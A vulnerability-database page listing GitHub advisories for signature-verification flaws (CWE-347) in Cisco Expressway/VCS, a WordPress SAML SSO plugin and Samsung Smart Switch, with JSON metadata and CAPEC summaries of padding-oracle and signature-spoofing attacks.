Vulnerability from github – Published: 2022-05-24 19:11 – Updated: 2022-05-24 19:11A vulnerability in the image verification function of Cisco Expressway Series and Cisco TelePresence Video Communication Server (VCS) could allow an authenticated, remote attacker to execute code with internal user privileges on the underlying operating system. The vulnerability is due to insufficient validation of the content of upgrade packages. An attacker could exploit this vulnerability by uploading a malicious archive to the Upgrade page of the administrative web interface. A successful exploit could allow the attacker to execute code with user-level privileges (the _nobody account) on the underlying operating system.
{
"affected": [],
"aliases": [
"CVE-2021-34715"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-08-18T20:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the image verification function of Cisco Expressway Series and Cisco TelePresence Video Communication Server (VCS) could allow an authenticated, remote attacker to execute code with internal user privileges on the underlying operating system. The vulnerability is due to insufficient validation of the content of upgrade packages. An attacker could exploit this vulnerability by uploading a malicious archive to the Upgrade page of the administrative web interface. A successful exploit could allow the attacker to execute code with user-level privileges (the _nobody account) on the underlying operating system.",
"id": "GHSA-p7w3-xcqr-pr4r",
"modified": "2022-05-24T19:11:29Z",
"published": "2022-05-24T19:11:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-34715"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ewver-c6WZPXRx"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-P847-Q8VX-C3FG
Vulnerability from github – Published: 2026-07-16 06:31 – Updated: 2026-08-07 06:30The SAML Single Sign On – SSO Login plugin for WordPress is vulnerable to Authentication Bypass via SAML Signature Algorithm Confusion in all versions up to, and including, 5.4.3. The vulnerability exists because Mo_SAML_Utilities::mo_saml_cast_key() reads the SignatureMethod Algorithm attribute directly from the attacker-controlled SAMLResponse parameter rather than enforcing the locally configured algorithm, causing the plugin to recast the IdP's RSA public key as an HMAC-SHA1 shared secret and validate the forged signature against it. This makes it possible for unauthenticated attackers to forge a SAML assertion targeting any WordPress account — including administrators — obtain valid WordPress authentication cookies, and achieve full administrator-level account takeover.
{
"affected": [],
"aliases": [
"CVE-2026-15013"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-16T05:16:18Z",
"severity": "CRITICAL"
},
"details": "The SAML Single Sign On \u2013 SSO Login plugin for WordPress is vulnerable to Authentication Bypass via SAML Signature Algorithm Confusion in all versions up to, and including, 5.4.3. The vulnerability exists because `Mo_SAML_Utilities::mo_saml_cast_key()` reads the `SignatureMethod` Algorithm attribute directly from the attacker-controlled `SAMLResponse` parameter rather than enforcing the locally configured algorithm, causing the plugin to recast the IdP\u0027s RSA public key as an HMAC-SHA1 shared secret and validate the forged signature against it. This makes it possible for unauthenticated attackers to forge a SAML assertion targeting any WordPress account \u2014 including administrators \u2014 obtain valid WordPress authentication cookies, and achieve full administrator-level account takeover.",
"id": "GHSA-p847-q8vx-c3fg",
"modified": "2026-08-07T06:30:22Z",
"published": "2026-07-16T06:31:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15013"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/miniorange-saml-20-single-sign-on/tags/5.4.3/class-mo-saml-login-validate.php#L119"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/miniorange-saml-20-single-sign-on/tags/5.4.3/class-mo-saml-utilities.php#L416"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/miniorange-saml-20-single-sign-on/tags/5.4.3/class-mo-saml-utilities.php#L444"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/miniorange-saml-20-single-sign-on/tags/5.4.3/class-mo-saml-utilities.php#L561"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/miniorange-saml-20-single-sign-on/tags/5.4.3/includes/lib/SAML2Core/class-mo-saml-xml-security-key.php#L722"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?reponame=\u0026old=3601345%40miniorange-saml-20-single-sign-on\u0026new=3601345%40miniorange-saml-20-single-sign-on"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ee95092d-6351-4612-872d-284165bc1201?source=cve"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2026/Aug/33"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-P88H-9FMR-WJ9Q
Vulnerability from github – Published: 2026-03-16 15:30 – Updated: 2026-03-31 03:31Improper verification of cryptographic signature in Smart Switch prior to version 3.7.69.15 allows remote attackers to potentially bypass authentication.
{
"affected": [],
"aliases": [
"CVE-2026-20997"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-16T14:18:10Z",
"severity": "MODERATE"
},
"details": "Improper verification of cryptographic signature in Smart Switch prior to version 3.7.69.15 allows remote attackers to potentially bypass authentication.",
"id": "GHSA-p88h-9fmr-wj9q",
"modified": "2026-03-31T03:31:25Z",
"published": "2026-03-16T15:30:42Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20997"
},
{
"type": "WEB",
"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2026\u0026month=03"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-463: Padding Oracle Crypto Attack
An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.
CAPEC-475: Signature Spoofing by Improper Validation
An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.